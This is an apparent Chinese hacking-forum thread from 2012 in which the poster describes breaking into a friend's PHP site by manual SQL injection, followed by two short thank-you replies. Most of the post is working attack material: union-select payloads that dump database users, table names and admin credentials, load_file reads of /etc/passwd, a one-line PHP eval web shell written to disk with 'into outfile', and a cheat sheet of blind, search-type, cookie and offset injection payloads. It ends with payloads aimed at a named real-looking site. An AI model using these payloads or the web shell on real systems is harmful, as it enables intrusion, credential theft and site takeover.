找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2826|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~2 a4 W7 U! R; s/ `
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?# G/ a$ u% m) V6 e+ }
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
. w+ W# v2 {$ z7 r0 m1 A如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)/ i7 C4 m$ Q0 o
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)& E3 u; K; h3 `) `
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:7 X( l% O' h% O1 _+ E& K
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in" t  f# B' F( T6 z: D
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
4 W/ c6 R, P, M                         - r4 |( k6 ?5 z# v
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,) M+ G$ h" K1 {
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
# @5 b2 @% e+ p+ V! Q& J4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
0 v' w+ c5 I! I! t# S5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。" A$ f) g6 Q9 V7 S3 `5 Q
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
2 l0 W# S! c, Y! J; A: B' Z) M2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。. ?" n. P- G- m4 ^
我就用的是第二个思路,5 B( K: i7 g) ]
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  + B9 X6 ?8 D) T  {9 O
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
$ J# k* A7 Y7 H# w2 p& A( Z# Q! n提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
) E; m( U: M& t% j: S" s, E0 _" X  V) ]注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。' |2 O, @) o5 h- m
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
8 y: V+ w3 f1 D$ R8 H9 U7 h- v是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd...../ G) h4 [- [) L; ]7 G
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
/ I  ~$ J$ Q1 y* k3 C然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
- i9 f  S5 x+ P# q6 w调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
5 D9 C0 ]2 q+ c! _, t下面是一些很普遍注入方式资料:- b. \$ T5 \  G8 ^; T. ]
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='; m( p4 j4 n1 g% n
拆半法
/ c: ^. j  _* U7 I  Y######################################- u1 s2 w4 u4 Z% |
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
5 ^( {6 }" i  z5 mand exists (select * from admin)
1 B2 r+ J- Q  C1 v6 nand exists(select id from admin)$ O; d& Z4 |$ J- o
and exists(select id from admin where id=1)$ [) C. E) U$ e/ f& z4 B
and exists(select id from admin where id>1)
7 C5 |- H0 E1 Y3 b1 J5 Y1 c然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 3 }: L/ |* e) }: O" V% X" T
and exists (select username from admin)
+ J. e' ]/ \8 M5 M- R& uand exists (select password from admin). j0 V$ r3 i8 ]. C/ v" h+ \
and exists (select id from admin where len(username)<10 and id=1)
% v6 I& K9 h) h. C8 Iand exists (select id from admin where len(username)>5 and id=1)
. Q  w  o1 F. {- B8 j. xand exists (select id from admin where len(username)=6 and id=1)
9 ?2 }& p% d' Mand exists (select id from admin where len(password)<10 and id=1)# s, |, n. z. G2 c+ x/ r
and exists (select id from admin where len(password)>5 and id=1)
: W5 o" r3 Y! I/ Z( t2 h- Land exists (select id from admin where len(password)=7 and id=1): o, C# X2 }7 s. I2 {2 j
and (select top 1 asc(mid(username,1,1)) from admin)=97* R: g. b$ E9 E0 ^$ ]
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。+ m; o$ G, {* g& G2 K7 K* {; i
猜第二位把username,1,1改成username,2,1就可以了。  U( m. J- i# E; Z( n
猜密码把username改成password就OK了  m$ g' Z! j- B9 Z4 \9 F( B
##################################################9 ~# P5 H# w5 k+ n- D
搜索型注入
& K7 H8 W" y7 C& i##################################
  Z6 m/ j  Y# e5 e) I5 e- m%' and 1=1 and '%'='
0 E1 c3 o$ [6 s! W2 M, d% M4 P%' and exists (select * from admin) and '%'='# ^) r$ s& B' ^- H
%' and exists(select id from admin where id=1) and '%'='6 R9 c" g0 A) O/ |% w# ]( T0 j
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
4 [( [" @4 |" F- a3 J. F* A8 _%' and exists (select id from admin where len(password)=7 and id=1) and '%'='# x9 a6 Q, E. k: C1 i- B7 d  S) Y7 [
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
( y' h: G/ i) P" i+ _这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=': ~" Q" L; j+ ?6 v/ ^- r. V
对于MSSQL数据库,后面可以吧 and '%'='换成--
% ?+ E' t+ d4 C4 a) j还有一点搜索型注入也可以使用union语句。3 M" r& q5 x+ O! X; v% _
########################################################! r4 P4 R1 {( s4 H! ?& f) ~' H% _
联合查询。
- f' c. P' `  G3 T4 r#####################################
$ _9 d2 A* ~4 p# `order by 10
* I1 B* Z7 `+ \) a% t; Iand 1=2 union select 1,2,3,4,5,6,7,8,9,10. y1 j+ [5 s8 F. M
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
+ s$ i, y% m) [and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
7 h7 B7 e  D& G0 ^& U很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
4 W' W; o5 c* x  n: R9 I; d###################################
3 P8 {* N4 Z' H1 wcookie注入5 k- p1 P' o" q4 ?
###############################- B, _; D$ G6 e
http://www.******.com/shownews.asp?id=1279 i2 [$ ~  ]: _4 d
http://www.******.com/shownews.asp, ?' V; {% c2 B( Q* P
alert(="id="+escape("127"));
- \' s' w2 R3 W) @) @, C7 W& Ralert(="id="+escape("127 and 1=1"));
$ p# `4 w5 w) E2 E! Y# dalert(="id="+escape("127 order by 10"));
5 w3 w8 D5 f* K/ M& J8 l! Y& J, Ealert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));2 Y! z2 y) l+ ^! _
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));0 c+ {5 ]) _( u: g, |, m
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。; S5 d( [8 @4 [0 ]
###################################
. l1 t4 T0 j0 S- \1 ]偏移注入
+ D" v6 y% @2 D/ O###########################################################1 a; O" u8 _3 n
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin( G( N+ w2 U2 I" Z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
" h4 c7 d' v, c. n0 F; G9 s8 @$ X$ ~! kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)0 v9 z' ~/ }# X4 u. v6 w4 P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
& P' _% y' u. ]: w7 I. Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
. N4 L5 v1 |  v$ y" ?$ l2 ?union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)3 T7 e: i0 K* n0 [: [
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
! o3 L1 E% _9 r7 O+ Qa.id=d.id)
) N& `; Z5 l6 ~+ uand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)& l* k: Q/ h- H/ Y- v4 O6 G
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
0 u- M$ O  Q! L- i  , t' N+ ?3 G3 F& v
============================================================================================================
9 ]% O2 S  o7 \2 ?1 f8 I) K5 m1.判断版本; F: F; p* O/ W
and ord(mid(version(),1,1))>519 l: b8 [& y) W  n2 J  r
返回正常,说明大于4.0版本,支持ounion查询( H/ l: v7 C, Y8 L9 q. ?/ ~) |
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
- ]2 L6 T) F/ F9 W/ ]and 2=4 union select 1,2,3,4,5,6,7,8,9--
( u- S0 q8 \$ z& i4 a3.查看数据库版本及当前用户,
3 _- W$ W: s# L. h# kand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
3 e# ^/ X0 n* e数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
' D. u7 ?* L- i( a, m- Z' N* o4.判断有没有写权限" Q' V$ d. P' x/ W" a( W" k
and (select count(*) from MySQL.user)>0--
1 ]$ D- M1 j' Q0 }6 J5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1& B- z8 B+ j: K2 r
用不了这个命令,就学习土耳其黑客手法,如下" y$ c+ e, U+ b( C5 V  L" h7 q9 {) i
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
/ _' u; @9 T9 m+ J# r6.爆表,爆库" v/ o3 F! [; \3 t0 ?0 M7 |
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--7 {8 N: K" M( C
7.爆列名,爆表
1 T: y! V, ~+ x0 Gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--- [  `" s: p# j0 N  o8 @
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
+ @  _$ O0 ~3 K- i5 C2 Uand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
1 L9 }" v' ~" l! @' y9.爆字段内容4 d& F" g3 g* Y. ^/ g$ ]9 }
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
" I# G1 S/ Z0 Phttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表